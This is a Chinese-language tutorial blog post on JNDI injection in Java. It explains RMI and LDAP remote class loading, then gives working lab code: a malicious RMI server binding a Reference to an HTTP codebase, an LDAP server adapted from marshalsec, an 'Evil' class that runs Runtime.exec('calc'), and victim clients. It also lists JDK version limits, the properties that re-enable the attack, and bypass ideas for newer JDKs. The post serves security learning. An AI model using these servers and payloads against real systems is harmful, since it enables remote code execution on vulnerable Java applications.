从0入门JNDI注入

从0入门JNDI注入前言 log4j 后就该早早学的 但是感觉 0 基础入门实在是有点难度 所以拖了好长时间 这里先给本文立个框架 jndi 介绍 RMI 动态加载恶意类 jndi 注入利用思路 RMI JNDI 注入 LDAP JNDI 注入 版本及参考 JNDI 介绍 JNDI 全称为 Java 命名和目录接口 我们可以理解为 JNDI 提供了两个服务

大家好,我是讯享网,很高兴认识大家。

前言

log4j后就该早早学的,但是感觉0基础入门实在是有点难度,所以拖了好长时间。这里先给本文立个框架

  1. jndi介绍
  2. RMI动态加载恶意类
  3. jndi注入利用思路
  4. RMI-JNDI注入
  5. LDAP-JNDI注入
  6. 版本及参考

JNDI介绍

​ JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

命名服务

​ 命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

目录服务

​ 目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

这里其实就是对这些服务进行了再封装,假如说以前我们访问rmi与ldap等要用的代码等等差别很大,但是多了JNDI这一层后就可以用JNDI的方式轻松访问rmi和ldap等的服务,访问的方式代码形式也基本一样了,目前JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA。这里只分析RMILDAP
在这里插入图片描述
讯享网

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置。比如在RMI服务器端上可以不直接使用Registry进行bind(绑定)操作,而是使用JNDI统一管理,当然JNDI底层应该还是调用的Registry进行bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务

RMI动态加载恶意类

RMI介绍

RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI分为三个主体部分:

Client-客户端:客户端调用服务端的方法 Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。 Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。 

讯享网

RMI使用

Server部署:

讯享网Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。 

Client调用:

Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。 Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器 Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。 

列举几个函数

讯享网bind:将远程对象绑定到注册中心 rebind:重新绑定一个远程对象 unbind:取消一个过程对象的绑定 list:列出注册中心绑定对象 lookup:在注册中心获取一个远程对象的存根 

RMI利用

RMI远程加载代码的过程,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase(就算是一个地址,指定jvm从哪个地方去搜集类,和ClassPath,jdbc的url一样,通常是远程的URL,比如http,ftp等)中的类,所以只要控制了codebase,就可以加载任何恶意类

但是官方注意到后,在后面的版本(6u45、7u21,8u121以后)加了限制(java.rmi.server.useCodebaseOnly默认配置已经改为了true。),满足如下条件的才可以攻击

  1. 安装并配置了SecurityManager,(需要自己设置为trust)
  2. java.rmi.server.useCodebaseOnly 配置为 flase,如果为 true,则将禁用自动加载类文件,不允许远程加载对象

JNDI注入思路

这里我们要先知道一个点,通过JNDI可以远程加载对象。并且除了Context.PROVIDER_URL设置的URL外,我们可以在lookup参数中指定URL,例如lookup("rmi://127.0.0.1:1099/test"),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载,所以如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类,但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,所以除非受害者内部就存在漏洞组件及反序列化漏洞,我们才可以构造恶意的序列化对象,返回给客户端去触发漏洞,那如果目标组件不存在反序列化漏洞,就算我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

Reference

​ 为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。

Reference(String name) 为类名为"name"的对象构造一个新的应用 Reference(String name , RefAddr addr) 为类型为"name"的对象和地址构造一个新引用 Reference(String name, ReAddr addr, String factory,String factoryLocation) 为类名为"name"的对象,对象工厂的类名和为止以及对象的地址构造一个新的引用 Reference(String name,String factory,String factoryLocation) 为类名为"name"的对象以及对象工厂的类名和位置构造一个新的应用 

整体流程思路也就是

  1. 目标程序调用lookup(String)进行JNDI操作,且参数是用户可控,攻击者传入URL指向自己的恶意RMI/LDAP服务器;
  2. 恶意RMI/LDAP服务器向目标程序返回一个恶意的JNDI引用Reference,该Reference对象包含了攻击者指定的恶意ObjectFactory类的加载地址;
  3. 目标程序解码该JNDI Reference,得到恶意ObjectFactory类的加载地址;
  4. 目标程序从攻击者指定的远程加载地址获取恶意ObjectFactory类的class字节码;
  5. 实例化获取到的恶意ObjectFactory类,ObjectFactory类中的恶意代码得以执行。

理论已经很明白了,接下来实操

RMI-JNDI注入

编写及利用

拿python3开启一个简易的http服务

讯享网python -m http.server 8081 

在这里插入图片描述

server端(也就是黑客端)我们创建如下Reference类实例,并将其绑定到注册表中:

import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { 
    public static void main(String[] args) throws Exception{ 
    // Registry registry = LocateRegistry.createRegistry(1099); Reference test = new Reference("1","Evil","http://127.0.0.1:8081/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(test); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/test'"); registry.bind("test",referenceWrapper); } } 

在这里插入图片描述
启动
在这里插入图片描述

​ 然后编写一个evil.java恶意类

讯享网public class Evil { 
    public Evil() throws Exception{ 
    Runtime.getRuntime().exec("calc"); } } 

在这里插入图片描述
​ 最后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器框:

import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { 
    public static void main(String[] args) throws NamingException { 
    InitialContext context = new InitialContext(); context.lookup("rmi://127.0.0.1:1099/test"); } } 

在这里插入图片描述

断点分析

从Server端解析传入的URL,直接来到RegistryContexr#lookup方法,
在这里插入图片描述this.registry仍然是RegistryImpl_Stub,执行lookup方法获取的是一个ReferenceWrapper_Stub对象
在这里插入图片描述RegistryContext#decodeObject方法中会根据这个ReferenceWrapper_Stub对象获取Reference对象
在这里插入图片描述

跟进getReference方法,发现又调用了UnicastRef#invoke ⽅法
在这里插入图片描述
相当于进⾏了⼀次远程⽅法调⽤
在这里插入图片描述
这里的参数正好对应着 RMI 服务端中的 ReferenceWrapper#getReference ⽅法(由ReferenceWrapper 实现的 RemoteReference 接⼝)
在这里插入图片描述
于是这次远程⽅法调⽤的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象
在这里插入图片描述
因为条件运算符前面成立,返回前面得表达式,继续跟进到 NamingManager#getObjectInstance ⽅法,跟到NamingManagergetObjectFactoryFromReference方法获取factory实例
在这里插入图片描述
跟进发现首先进行本地加载,加载失败以后,再从codebase加载factory

在这里插入图片描述
在这里插入图片描述
其中,下面的LoadClass加载方式为 URLClassLoader,成功加载执行了恶意代码,最后返回factory实例
在这里插入图片描述

版本问题

在这里插入图片描述

rmi在6u132,7u122,8u113之前可以用,此后系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,如需利用还需添加代码

讯享网System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); 

接下来操作LDAP+JNDI注入,因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。

LDAP-JNDI注入

LDAP一般指轻型目录访问协议(Lightweight Directory Access Protocol),可以把它理解成存储数据的数据库。和其他数据库一样,LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作。

编写及利用

需要unboundid-ldapsdk的依赖:

 <dependencies> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> </dependencies> 

server是参考marshalsec,修改得到

讯享网import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class server { 
    private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { 
    String[] args=new String[]{ 
   "http://127.0.0.1:8080/#test"}; int port = 7777; try { 
    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { 
    e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { 
    private URL codebase; public OperationInterceptor ( URL cb ) { 
    this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { 
    String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { 
    sendResult(result, base, e); } catch ( Exception e1 ) { 
    e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { 
    URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { 
    cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } } 

client端

import javax.naming.InitialContext; import javax.naming.NamingException; public class client { 
    public static void main(String[] args) throws NamingException { 
    Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/test"); }} 

恶意类

讯享网public class test{ 
    public test() throws Exception{ 
    Runtime.getRuntime().exec("calc"); } } 

在这里插入图片描述

简单分析

getObjectFactoryFromReference:142, NamingManager (javax.naming.spi) getObjectInstance:189, DirectoryManager (javax.naming.spi) c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) 

最后仍然是调⽤了 NamingManager#getObjectFactoryFromReference ⽅法。

版本问题

ldap的jndi在6u211、7u201、8u191、11.0.1后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false

版本限制

就放一张图吧,原因前面也有解释
在这里插入图片描述
当然在8u191又有大佬们提出了绕过,思路先写出来以后分析

  1. LDAP Server直接返回恶意序列化数据,但是需要目标环境存在Gadget依赖
  2. 使用本地的Factory绕过(主要利用了org.apache.naming.factory.BeanFactory类)

参考JNDI注入解析
参考[Java安全]JNDI注入学习
参考Java安全之JNDI注入

小讯
上一篇 2025-01-14 16:23
下一篇 2025-04-04 18:12

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/128827.html